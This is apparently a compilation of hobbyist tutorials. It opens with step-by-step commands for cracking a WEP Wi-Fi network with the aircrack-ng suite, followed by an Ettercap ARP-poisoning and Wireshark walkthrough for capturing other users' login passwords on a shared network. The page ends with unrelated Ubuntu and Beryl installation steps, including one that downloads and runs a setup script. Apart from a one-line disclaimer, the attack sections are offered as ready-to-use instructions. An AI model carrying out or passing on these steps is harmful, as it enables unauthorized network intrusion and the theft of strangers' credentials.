NOTE: This tutorial shows how easy it is to hack a WEP secured network it should not be replicated without the permission of the networks owner.

• log in as root
• Start the network device all devices are different so i cant walk you through it.
• Put the device in monitor mode and start it with airmon-ng
• monitor the channel and even the bssid of the target network until you find a connection to a station
• Take note of the stations MAC address and the BSSID
• set up the arpreplay command below but do not hit enter.
  • aireplay-ng --arpreplay -b [BSSID of the network] -h [Connected clients MAC address] [Interface]
    
• Next we preform a fake authentication with the network to speed up the ARP replies.
  
  • aireplay-ng -1 0 -a [BSSID of the network] -h [Connected clients MAC address] -e [ESSID or Network Name] [Interface]
• Hit enter on the fake authentication window then right away switch to the arpreplay window and press enter as well. If need be use Ctrl + C to repeat this process many times. It can take up to 15 mins for the ARP replies to come in. After which point you should try to authenticate again.
• Once the ARP replies start to come in open a new tab and log them with airodump-ng
  • airodump-ng -c [Channel] --bssid [BSSID of the network] -w [Capture file name] rausb0
• Wait for the Data to reach 80,000-100,000 then begin the actual cracking process.
  • aircrack-ng -z {This starts the PTW attack which is much faster} [Capture file name]
    

Using Ettercap To Sniff Out Passwords On A Network

In response to multiple requests for LAN and wired hacks i have explained this tutorial in more detail. In case you don't know what Ettercap is i will explain. Ettercap is a network security tool that allows you to preform many different types of attacks on a network. The one i cover in this tutorial is a MITM (Man-In-The-Middle) attack. This attack sends all data, or packets, from the router through my device and back out to the requesting machine. With that being preformed i can use programs like Ettercap and Wireshark to sniff the information.ATTENTION WINDOWS USERS!!!!! For those users who do not have Linux and want to do this on windows. Ettercap is available in a unofficial binary package at the following link. If the link is broken please leave a comment to inform me. Wireshark is also available below. Ettercap:
http://sourceforge.net/project/showfiles.php?group_id=17435&...

Wireshark: http://www.wireshark.org/download.html NOTE: Myspace passwords and most email sites do not get picked up by ettercap you will have to search in wireshark for the packet containing the word password. I will explain in more detail how to do it later in the tutorial. POP email passwords and Youtube accounts are the only ones that i have tried that get picked up directly by Ettercap.

1. Connect To The Network - In my case i use the ralink drivers so i use RutilT Wireless Lan Manager




2. Verify You Are Connected Completely - Assure that you have an IP address with the network then proceed to the next step.





3. Start Ettercap From The Terminal - If Ettercap is installed correctly all you need to do is type in "ettercap -G" to launch the GUI version of Ettercap

4. Set The Netmask - Go to Options > Set Netmask. Most of the time this is set to 255.255.255.0 but always make sure to double check.








5. Start Unified Sniffing - Click Sniff > Unified Sniffing. Next select the network interface you will be sniffing on.





 

6. Scan For Hosts - Click Hosts > Scan For Hosts. Sometimes this requires that it be done more than once in order to find every device.

7. Start Sniffing - Click Start > Start Sniffing.

 

8. Start The Man-in-the-middle Attack - Click MITM > ARP Poisoning. Check the "sniff remote connections" box and click ok.


 

9. Start Wireshark And Click The Interface Icon - Once you have started wireshark click on the interface icon to setup your device.


 

10. Start Sniffing - Click Start next to your network device that has been configured to ettercap. This will capture almost every packet that comes through the device in case ettercap does not sniff the password. For example Myspace passwords to not get picked up by ettercap but can be found in packets captured by wireshark.


 


11. Wait For A Login - Wait till someone decides to log into a site like myspace, youtube, or gmail then stop the capture.
12. Click the Find Packet Button - Select the String radio button and search for the word password.


 
13. Read The Password - Review the packet closley and you will see the username and password. Also check ettercap as it picks up usernames and passwords in a more orderly fashion.

Part A: Installing Linux
1. Fist thing you need to do is download the ubuntu .iso file and burn it to a cd see the FAQ for more info on burning an iso images to a cd.
2. Once you have downloaded and burned the image boot from the CD see the FAQ for how to boot from a CD.

3. Select "Start Or Install Ubuntu"




4. Ubuntu will load, though it is slow this is due to the fact it is running from the cd drive and not from the hard drive when the actual install is complete it will run much faster
5. Click on the install icon on the desktop







6. Answer the questions accurately. Now the partition tool will load



7. You will come to the main page now



8. You should be given three choices. The first option is for users who want to set up a dual-boot of both windows and Ubuntu. Ubuntu will help shrink the Windows partition and create a new one.



9. The second option is for if you want to have nothing but Ubuntu for your operating system.





10. The third option is for those advanced users who know how to partition the drive.



11. you can also chose to import settings from users in windows xp and other operating systems. I usually skip this step but it is a matter of what you would like to do. Note: it does not import information from vista.

12. Next you will be asked to create user information fill it in as necessary


13. Now we begin the installation process. Click install and let linux do its thing.
14. Depending on your computer, this could take some time.






15. When you reach this screen Ubuntu has been installed simply restart and boot to ubuntu

Part B: Installing Beryl (The Program that makes Ubuntu look cool)
1. First before anything we need to make sure that desktop effects are enabled this will prevent us from having errors later on and making linux useless.

2. Go to System > Administration > Restricted Driver Manager. If any of your video drivers are in this box like mine where you will need to enable them to proceed to the next step. This may require a restart before you can activate the next part.

3. Next go to System > Preferences > Desktop Effects and make sure they are enabled with both boxes checked.Now we install beryl

4. Open a terminal Applications > Accessories > Terminal

5. Type the following one line at a time. cd /usr/local/bin
wget http://distfiles.gentoo-xeffects.org/beryl-setup
chmod 755 beryl-setup
beryl-setup --setup Once beryl is installed you will want to download the beryl manager so you can configure the settings and get it started.

6. Go to System > Administration > Synaptic Package Manager

7. Search for Beryl-Manager, right click it and mark for installation. Then press apply and let the program install.

8. You can now officially use beryl. Go to Applications > System Tools > Beryl Manager this will start beryl and you will see the diamond appear at the top right. Right click it and select Beryl Settings Manager to configure it to your liking.

9. We finally Have Everything Up And Running. Enjoy!
